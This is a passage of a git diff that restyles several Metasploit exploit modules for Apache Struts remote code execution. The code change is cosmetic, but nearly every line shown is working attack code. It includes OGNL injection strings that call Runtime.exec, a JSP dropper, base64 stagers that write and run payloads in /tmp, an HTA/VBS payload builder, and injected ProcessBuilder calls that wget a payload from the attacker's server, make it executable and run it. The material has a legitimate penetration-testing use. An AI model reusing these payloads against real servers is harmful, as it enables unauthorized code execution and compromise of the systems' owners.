@payload_exe = generate_payload_exe - print_status("Attempting to execute the payload...") + print_status('Attempting to execute the payload...') execute_command(@payload_exe) end def linux_stager - cmds = "/bin/sh@-c@echo LINE | tee FILE" + cmds = '/bin/sh@-c@echo LINE | tee FILE' exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) base64 = Rex::Text.encode_base64(exe) - base64.gsub!(/\=/, "\\u003d") - file = rand_text_alphanumeric(4 + rand(4)) + base64.gsub!(/=/, '\\u003d') + file = rand_text_alphanumeric(rand(4..7)) execute_command("/bin/sh@-c@touch /tmp/#{file}.b64") - cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") + cmds.gsub!(/FILE/, '/tmp/' + file + '.b64') base64.each_line do |line| line.chomp! cmd = cmds @@ -128,22 +128,22 @@ class MetasploitModule < Msf::Exploit::Remote execute_command("/bin/sh@-c@rm /tmp/#{file}.b64") execute_command("/bin/sh@-c@/tmp/#{file}") - @payload_exe = "/tmp/" + file + @payload_exe = '/tmp/' + file end - def on_new_session(client) + def on_new_session(_client) if target['Platform'] == 'linux' print_warning("Deleting #{@payload_exe} payload file") execute_command("/bin/sh@-c@rm #{@payload_exe}") else - print_status("Windows does not allow running executables to be deleted") + print_status('Windows does not allow running executables to be deleted') print_status("Delete the #{@payload_exe} file manually after migrating") end end def exploit unless datastore['CMD'].blank? - print_status("Executing user supplied command") + print_status('Executing user supplied command') execute_command(datastore['CMD']) return end diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb index 4fd36121f1..f99691c847 100644 --- a/modules/exploits/multi/http/struts_code_exec_classloader.rb +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Java', { 'Arch' => ARCH_JAVA, - 'Platform' => %w{linux win} + 'Platform' => %w[linux win] }, ], [ @@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x', '2.x']]), - OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']), OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]) ] ) @@ -98,7 +98,7 @@ class MetasploitModule < Msf::Exploit::Remote end def jsp_dropper(file, exe) - dropper = <<~eos + dropper = <<~EOS <%@ page import=\"java.io.FileOutputStream\" %> <%@ page import=\"sun.misc.BASE64Decoder\" %> <%@ page import=\"java.io.File\" %> @@ -109,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote <% File f = new File(\"#{file}\"); %> <% f.setExecutable(true); %> <% Runtime.getRuntime().exec(\"./#{file}\"); %> - eos + EOS dropper end @@ -131,7 +131,7 @@ class MetasploitModule < Msf::Exploit::Remote def modify_class_loader(opts) cl_prefix = case datastore['STRUTS_VERSION'] - when '1.x' then "class.classLoader" + when '1.x' then 'class.classLoader' when '2.x' then "class['classLoader']" end @@ -151,9 +151,9 @@ class MetasploitModule < Msf::Exploit::Remote end def check_log_file(hint) - uri = normalize_uri("/", @jsp_file) + uri = normalize_uri('/', @jsp_file) - print_status("Waiting for the server to flush the logfile") + print_status('Waiting for the server to flush the logfile') 10.times do |x| select(nil, nil, nil, 2) @@ -178,7 +178,7 @@ class MetasploitModule < Msf::Exploit::Remote # Fix the JSP payload to make it valid once is dropped # to the log file def fix(jsp) - output = "" + output = '' jsp.each_line do |l| if l =~ /<%.*%>/ output << l @@ -200,11 +200,11 @@ class MetasploitModule < Msf::Exploit::Remote jsp = fix(payload.encoded) else if target['Platform'] == 'win' - payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", { :arch => target.arch, :platform => target.platform }) + payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, 'exe-small', { arch: target.arch, platform: target.platform }) else payload_exe = generate_payload_exe end - payload_file = rand_text_alphanumeric(4 + rand(4)) + payload_file = rand_text_alphanumeric(rand(4..7)) jsp = jsp_dropper(payload_file, payload_exe) register_files_for_cleanup(payload_file) @@ -228,7 +228,7 @@ class MetasploitModule < Msf::Exploit::Remote def setup super - self.file_name << '.jsp' + file_name << '.jsp' self.file_contents = payload.encoded end @@ -236,7 +236,7 @@ class MetasploitModule < Msf::Exploit::Remote def primer print_status("JSP payload available on #{unc}...") - print_status("Modifying Class Loader...") + print_status('Modifying Class Loader...') send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'version' => '1.1', @@ -247,29 +247,29 @@ class MetasploitModule < Msf::Exploit::Remote }) jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/') - jsp_shell << "/#{self.file_name}" + jsp_shell << "/#{file_name}" print_status("Accessing JSP shell at #{jsp_shell}...") send_request_cgi({ 'uri' => normalize_uri(jsp_shell), 'version' => '1.1', - 'method' => 'GET', + 'method' => 'GET' }) end def class_loader_exploit - prefix_jsp = rand_text_alphanumeric(3 + rand(3)) - date_format = rand_text_numeric(1 + rand(4)) - @jsp_file = prefix_jsp + date_format + ".jsp" + prefix_jsp = rand_text_alphanumeric(rand(3..5)) + date_format = rand_text_numeric(rand(1..4)) + @jsp_file = prefix_jsp + date_format + '.jsp' # Modify the Class Loader - print_status("Modifying Class Loader...") + print_status('Modifying Class Loader...') properties = { - :directory => 'webapps/ROOT', - :prefix => prefix_jsp, - :suffix => '.jsp', - :file_date_format => date_format + directory: 'webapps/ROOT', + prefix: prefix_jsp, + suffix: '.jsp', + file_date_format: date_format } res = modify_class_loader(properties) unless res @@ -285,12 +285,12 @@ class MetasploitModule < Msf::Exploit::Remote register_files_for_cleanup(@jsp_file) # Prepare the JSP - print_status("Generating JSP...") + print_status('Generating JSP...') jsp = create_jsp # Dump the JSP to the log file - print_status("Dumping JSP into the logfile...") - random_request = rand_text_alphanumeric(3 + rand(3)) + print_status('Dumping JSP into the logfile...') + random_request = rand_text_alphanumeric(rand(3..5)) uri = normalize_uri('/', random_request) @@ -305,10 +305,10 @@ class MetasploitModule < Msf::Exploit::Remote # No matter what happened, try to 'restore' the Class Loader properties = { - :directory => '', - :prefix => '', - :suffix => '', - :file_date_format => '' + directory: '', + prefix: '', + suffix: '', + file_date_format: '' } modify_class_loader(properties) end diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index f4dc0beab9..4cf33d2d0d 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -82,51 +82,51 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]), - OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) + OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', '']), + OptString.new('CMD', [ false, 'Execute this command instead of using command stager', '' ]) ] ) self.needs_cleanup = true end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) uri = String.new(datastore['TARGETURI']) uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win' uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux' uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,CMD,'')%2b'") if target['Platform'] == 'java' - uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd)) + uri.gsub!(/CMD/, Rex::Text.uri_encode(cmd)) vprint_status("Attempting to execute: #{cmd}") - resp = send_request_raw({ + send_request_raw({ 'uri' => uri, 'version' => '1.1', - 'method' => 'GET', + 'method' => 'GET' }, 5) end def windows_stager - exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe" + rand_text_alphanumeric(rand(4..7)) print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] execute_cmdstager({ temp: '.', tftphost: tftphost }) @payload_exe = generate_payload_exe - print_status("Attempting to execute the payload...") + print_status('Attempting to execute the payload...') execute_command(@payload_exe) end def linux_stager - cmds = "/bin/sh@-c@echo LINE | tee FILE" + cmds = '/bin/sh@-c@echo LINE | tee FILE' exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) base64 = Rex::Text.encode_base64(exe) - base64.gsub!(/\=/, "\\u003d") - file = rand_text_alphanumeric(4 + rand(4)) + base64.gsub!(/=/, '\\u003d') + file = rand_text_alphanumeric(rand(4..7)) execute_command("/bin/sh@-c@touch /tmp/#{file}.b64") - cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") + cmds.gsub!(/FILE/, '/tmp/' + file + '.b64') base64.each_line do |line| line.chomp! cmd = cmds @@ -139,19 +139,19 @@ class MetasploitModule < Msf::Exploit::Remote execute_command("/bin/sh@-c@rm /tmp/#{file}.b64") execute_command("/bin/sh@-c@/tmp/#{file}") - @payload_exe = "/tmp/" + file + @payload_exe = '/tmp/' + file end def java_upload_part(part, filename, append = 'false') - cmd = "" + cmd = '' cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append})," cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," - cmd << "#f.close()" + cmd << '#f.close()' execute_command(cmd) end def java_stager - @payload_exe = rand_text_alphanumeric(4 + rand(4)) + ".jar" + @payload_exe = rand_text_alphanumeric(rand(4..7)) + '.jar' append = 'false' jar = payload.encoded_jar.pack @@ -164,33 +164,33 @@ class MetasploitModule < Msf::Exploit::Remote end java_upload_part(jar, @payload_exe, append) - cmd = "" + cmd = '' # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1 cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," - cmd << "#q.setAccessible(true),#q.set(null,true)," + cmd << '#q.setAccessible(true),#q.set(null,true),' cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," - cmd << "#q.setAccessible(true),#q.set(null,false)," + cmd << '#q.setAccessible(true),#q.set(null,false),' # create classloader cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()})," # load class cmd << "#c=#cl.loadClass('metasploit.Payload')," # invoke main method cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" - cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" + cmd << 'null,new java.lang.Object[]{new java.lang.String[0]})' execute_command(cmd) end def on_new_session(client) - if client.type != "meterpreter" - print_error("Please use a meterpreter payload in order to automatically cleanup.") + if client.type != 'meterpreter' + print_error('Please use a meterpreter payload in order to automatically cleanup.') print_error("The #{@payload_exe} file must be removed manually.") return end - client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + client.core.use('stdapi') if !client.ext.aliases.include?('stdapi') - if client.sys.config.sysinfo["OS"] =~ /Windows/ - print_error("Windows does not allow running executables to be deleted") + if client.sys.config.sysinfo['OS'] =~ /Windows/ + print_error('Windows does not allow running executables to be deleted') print_error("The #{@payload_exe} file must be removed manually after migrating") return end @@ -201,7 +201,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit unless datastore['CMD'].blank? - print_status("Executing user supplied command") + print_status('Executing user supplied command') execute_command(datastore['CMD']) return end diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index 401cdc0e60..d317c014ab 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -102,19 +102,19 @@ class MetasploitModule < Msf::Exploit::Remote splitted = datastore['GET_PARAMETERS'].split('&') return retval if splitted.nil? || splitted.empty? - splitted.each { |item| + splitted.each do |item| name, value = item.split('=') # no check here, value can be nil if parameter is ¶m - decoded_name = name ? Rex::Text::uri_decode(name) : nil - decoded_value = value ? Rex::Text::uri_decode(value) : nil + decoded_name = name ? Rex::Text.uri_decode(name) : nil + decoded_value = value ? Rex::Text.uri_decode(value) : nil retval[decoded_name] = decoded_value - } + end retval end def execute_command(cmd) junk = Rex::Text.rand_text_alpha(6) - inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]" + inject = '(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]' inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')" uri = normalize_uri(datastore['TARGETURI']) resp = send_request_cgi({ @@ -128,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit # Set up generic values. - payload_exe = rand_text_alphanumeric(4 + rand(4)) + payload_exe = rand_text_alphanumeric(rand(4..7)) append = false # Now arch specific... @@ -144,13 +144,13 @@ class MetasploitModule < Msf::Exploit::Remote pl_exe = payload.encoded_jar.pack exec_cmd = '' exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," - exec_cmd << "#q.setAccessible(true),#q.set(null,true)," + exec_cmd << '#q.setAccessible(true),#q.set(null,true),' exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," - exec_cmd << "#q.setAccessible(true),#q.set(null,false)," + exec_cmd << '#q.setAccessible(true),#q.set(null,false),' exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()})," exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" - exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" + exec_cmd << 'null,new java.lang.Object[]{new java.lang.String[0]})' when 'win' pl_exe = generate_payload_exe path = temp_path || './' @@ -172,17 +172,17 @@ class MetasploitModule < Msf::Exploit::Remote append = true end java_upload_part(pl_exe, payload_exe, append) - print_status("Executing payload") + print_status('Executing payload') execute_command(chmod_cmd) if target['Platform'] == 'linux' execute_command(exec_cmd) register_files_for_cleanup(payload_exe) end def java_upload_part(part, filename, append = false) - cmd = "" + cmd = '' cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append})," cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," - cmd << "#f.close()" + cmd << '#f.close()' execute_command(cmd) end diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index 7532b639db..57aec4e2b9 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]), OptInt.new('PAYLOAD_REQUEST_DELAY', [true, 'Time to wait for the payload request', 5]), # It isn't OptPath becuase it's a *remote* path - OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ]) + OptString.new('WritableDir', [ true, 'A directory where we can write files (only on Linux targets)', '/tmp' ]) ] ) @@ -93,18 +93,18 @@ class MetasploitModule < Msf::Exploit::Remote end def on_new_session(session) - if session.type == "meterpreter" - session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") + if (session.type == 'meterpreter') && !session.ext.aliases.include?('stdapi') + session.core.use('stdapi') end @dropped_files.delete_if do |file| false unless file =~ /\.exe/ - win_file = file.gsub("/", "\\\\") - if session.type == "meterpreter" + win_file = file.gsub('/', '\\\\') + if session.type == 'meterpreter' begin wintemp = session.sys.config.getenv('TEMP') win_file = "#{wintemp}\\#{win_file}" - session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) + session.shell_command_token(%(attrib.exe -r "#{win_file}")) session.fs.file.rm(win_file) print_good("Deleted #{file}") true @@ -119,7 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote end def start_http_service - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] @@ -129,9 +129,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => '/' }, 'ssl' => false # do not use SSL @@ -152,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - proof = rand_text_alpha(6 + rand(4)) + proof = rand_text_alpha(rand(6..9)) res = send_request_cgi({ 'uri' => "#{uri}?redirect:%24{new%20java.lang.String('#{proof}')}", @@ -177,7 +177,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200") end - proof = rand_text_alpha(6 + rand(4)) + proof = rand_text_alpha(rand(6..9)) res = send_request_cgi({ 'uri' => "#{uri}?redirect:%24{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}", @@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_linux - downfile = rand_text_alpha(8 + rand(8)) + downfile = rand_text_alpha(rand(8..15)) @pl = @exe @pl_sent = false @@ -209,10 +209,10 @@ class MetasploitModule < Msf::Exploit::Remote # download payload # fname = datastore['WritableDir'] - fname = "#{fname}/" unless fname =~ %r'/$' + fname = "#{fname}/" unless fname =~ %r{/$} fname << downfile uri = normalize_uri(target_uri.path) - uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//, "$")}').replace('$','\\u002f')})).start()}" + uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(%r{/}, '$')}').replace('$','\\u002f')})).start()}" print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...") @@ -236,7 +236,7 @@ class MetasploitModule < Msf::Exploit::Remote # chmod # uri = normalize_uri(target_uri.path) - uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//, "$")}').replace('$','\\u002f')})).start()}" + uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(%r{/}, '$')}').replace('$','\\u002f')})).start()}" print_status("#{rhost}:#{rport} - Make payload executable...") @@ -253,7 +253,7 @@ class MetasploitModule < Msf::Exploit::Remote # execute # uri = normalize_uri(target_uri.path) - uri << "?redirect:%24{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//, "$")}').replace('$','\\u002f'))).start()}" + uri << "?redirect:%24{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(%r{/}, '$')}').replace('$','\\u002f'))).start()}" print_status("#{rhost}:#{rport} - Execute payload...") @@ -268,7 +268,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_windows - @var_exename = rand_text_alpha(4 + rand(4)) + '.exe' + @var_exename = rand_text_alpha(rand(4..7)) + '.exe' @pl = build_hta @pl_sent = false @@ -312,7 +312,7 @@ class MetasploitModule < Msf::Exploit::Remote end p = exploit_regenerate_payload(my_target.platform, my_target.arch) - @exe = generate_payload_exe({ :code => p.encoded, :platform => my_target.platform, :arch => my_target.arch }) + @exe = generate_payload_exe({ code: p.encoded, platform: my_target.platform, arch: my_target.arch }) if my_target.name =~ /Linux/ if datastore['PAYLOAD'] =~ /windows/ @@ -330,7 +330,7 @@ class MetasploitModule < Msf::Exploit::Remote # Handle incoming requests from the server def on_request_uri(cli, request) vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}") - if (not @pl) + if (!@pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end @@ -348,7 +348,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...") waited = 0 - while (not @pl_sent) + until (@pl_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) @@ -360,24 +360,24 @@ class MetasploitModule < Msf::Exploit::Remote end def build_hta - var_shellobj = rand_text_alpha(rand(5) + 5); - var_fsobj = rand_text_alpha(rand(5) + 5); - var_fsobj_file = rand_text_alpha(rand(5) + 5); - var_vbsname = rand_text_alpha(rand(5) + 5); - var_writedir = rand_text_alpha(rand(5) + 5); + var_shellobj = rand_text_alpha(rand(5..9)) + var_fsobj = rand_text_alpha(rand(5..9)) + var_fsobj_file = rand_text_alpha(rand(5..9)) + var_vbsname = rand_text_alpha(rand(5..9)) + var_writedir = rand_text_alpha(rand(5..9)) - var_origLoc = rand_text_alpha(rand(5) + 5); - var_byteArray = rand_text_alpha(rand(5) + 5); - var_writestream = rand_text_alpha(rand(5) + 5); - var_strmConv = rand_text_alpha(rand(5) + 5); + var_origLoc = rand_text_alpha(rand(5..9)) + var_byteArray = rand_text_alpha(rand(5..9)) + var_writestream = rand_text_alpha(rand(5..9)) + var_strmConv = rand_text_alpha(rand(5..9)) # Doing in this way to bypass the ADODB.Stream restrictions on JS, # even when executing it as an "HTA" application # The encoding code has been stolen from ie_unsafe_scripting.rb - print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta..."); + print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta...") # Build the content that will end up in the .vbs file - vbs_content = Rex::Text.to_hex(%Q| + vbs_content = Rex::Text.to_hex(%| Dim #{var_origLoc}, s, #{var_byteArray} #{var_origLoc} = SetLocale(1033) |) @@ -389,15 +389,15 @@ Dim #{var_origLoc}, s, #{var_byteArray} # factor of about 80k (the current size of the exe template). In its # current form, it's down to about 4MB on the wire @exe.each_byte do |b| - vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n") + vbs_ary << Rex::Text.to_hex("s=s&Chr(#{('%d' % b)})\n") end - vbs_content << vbs_ary.join("") + vbs_content << vbs_ary.join('') # Continue with the rest of the vbs file; # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent # Then use ADODB.Stream again to write the binary to file. # print_status("Finishing vbs..."); - vbs_content << Rex::Text.to_hex(%Q| + vbs_content << Rex::Text.to_hex(%| Dim #{var_strmConv}, #{var_writedir}, #{var_writestream} #{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}" diff --git a/modules/exploits/multi/http/struts_dmi_exec.rb b/modules/exploits/multi/http/struts_dmi_exec.rb index 828df9a7d6..5da2e201f6 100644 --- a/modules/exploits/multi/http/struts_dmi_exec.rb +++ b/modules/exploits/multi/http/struts_dmi_exec.rb @@ -87,10 +87,9 @@ class MetasploitModule < Msf::Exploit::Remote case get_target_platform when Msf::Module::Platform::Windows - slash = '\\' + '\\' when - slash = '/' - else + '/' end unless path.end_with?('/') @@ -116,12 +115,12 @@ class MetasploitModule < Msf::Exploit::Remote end def generate_rce_payload(code) - payload = "method:" - payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") - payload << "," + payload = 'method:' + payload << Rex::Text.uri_encode('#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS') + payload << ',' payload << Rex::Text.uri_encode(code) - payload << "," - payload << Rex::Text.uri_encode("1?#xx:#request.toString") + payload << ',' + payload << Rex::Text.uri_encode('1?#xx:#request.toString') payload end @@ -152,8 +151,8 @@ class MetasploitModule < Msf::Exploit::Remote var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(4) - addend_one = rand_text_numeric(rand(3) + 1).to_i - addend_two = rand_text_numeric(rand(3) + 1).to_i + addend_one = rand_text_numeric(rand(1..3)).to_i + addend_two = rand_text_numeric(rand(1..3)).to_i sum = addend_one + addend_two flag = Rex::Text.rand_text_alpha(5) @@ -180,7 +179,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - payload_exe = rand_text_alphanumeric(4 + rand(4)) + payload_exe = rand_text_alphanumeric(rand(4..7)) case target['Platform'] when 'java' payload_exe = "#{temp_path}#{payload_exe}.jar" @@ -200,7 +199,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NoTarget, 'Unsupported target platform!') end - pl_content = pl_exe.unpack('H*').join() + pl_content = pl_exe.unpack('H*').join print_status("Uploading exploit to #{payload_exe}, and executing it.") upload_exec(command, payload_exe, pl_content) diff --git a/modules/exploits/multi/http/struts_dmi_rest_exec.rb b/modules/exploits/multi/http/struts_dmi_rest_exec.rb index 8028b37be8..264f008d79 100644 --- a/modules/exploits/multi/http/struts_dmi_rest_exec.rb +++ b/modules/exploits/multi/http/struts_dmi_rest_exec.rb @@ -86,10 +86,9 @@ class MetasploitModule < Msf::Exploit::Remote case get_target_platform when Msf::Module::Platform::Windows - slash = '\\' + '\\' when - slash = '/' - else + '/' end unless path.end_with?('/') @@ -115,14 +114,14 @@ class MetasploitModule < Msf::Exploit::Remote end def generate_rce_payload(code) - payload = "" - payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") - payload << "," + payload = '' + payload << Rex::Text.uri_encode('#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS') + payload << ',' payload << Rex::Text.uri_encode(code) - payload << "," - payload << Rex::Text.uri_encode("#xx.toString.json") - payload << "?" - payload << Rex::Text.uri_encode("#xx:#request.toString") + payload << ',' + payload << Rex::Text.uri_encode('#xx.toString.json') + payload << '?' + payload << Rex::Text.uri_encode('#xx:#request.toString') payload end @@ -153,8 +152,8 @@ class MetasploitModule < Msf::Exploit::Remote var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(4) - addend_one = rand_text_numeric(rand(3) + 1).to_i - addend_two = rand_text_numeric(rand(3) + 1).to_i + addend_one = rand_text_numeric(rand(1..3)).to_i + addend_two = rand_text_numeric(rand(1..3)).to_i sum = addend_one + addend_two flag = Rex::Text.rand_text_alpha(5) @@ -181,7 +180,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - payload_exe = rand_text_alphanumeric(4 + rand(4)) + payload_exe = rand_text_alphanumeric(rand(4..7)) case target['Platform'] when 'java' payload_exe = "#{temp_path}#{payload_exe}.jar" @@ -201,7 +200,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NoTarget, 'Unsupported target platform!') end - pl_content = pl_exe.unpack('H*').join() + pl_content = pl_exe.unpack('H*').join print_status("Uploading exploit to #{payload_exe}, and executing it.") upload_exec(command, payload_exe, pl_content) diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb index 728eedb3ae..68bb6658ef 100644 --- a/modules/exploits/multi/http/struts_include_params.rb +++ b/modules/exploits/multi/http/struts_include_params.rb @@ -78,14 +78,14 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('PARAMETER', [ true, 'The parameter to use for the exploit (does not have to be an expected one).', rand_text_alpha_lower(4)]), - OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank/example/HelloWorld.action"]), + OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', '/struts2-blank/example/HelloWorld.action']), OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST', 'POST', ['GET', 'POST']]), OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]) ] ) end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) inject_string = @inject.gsub(/CMD/, cmd) uri = normalize_uri(target_uri.path) req_hash = { 'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] } @@ -102,9 +102,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload") @notify_flag = 1 when 1 - print(".") # Progress dots + print('.') # Progress dots when 2 - print_status("Payload upload complete") + print_status('Payload upload complete') end return send_request_cgi(req_hash) # Used for check function. @@ -112,10 +112,10 @@ class MetasploitModule < Msf::Exploit::Remote def exploit # initialise some base vars - @inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}" + @inject = '${#_memberAccess["allowStaticMethodAccess"]=true,CMD}' @java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()" # Set up generic values. - @payload_exe = rand_text_alphanumeric(4 + rand(4)) + @payload_exe = rand_text_alphanumeric(rand(4..7)) pl_exe = generate_payload_exe append = false # Now arch specific... @@ -125,17 +125,17 @@ class MetasploitModule < Msf::Exploit::Remote chmod_cmd = 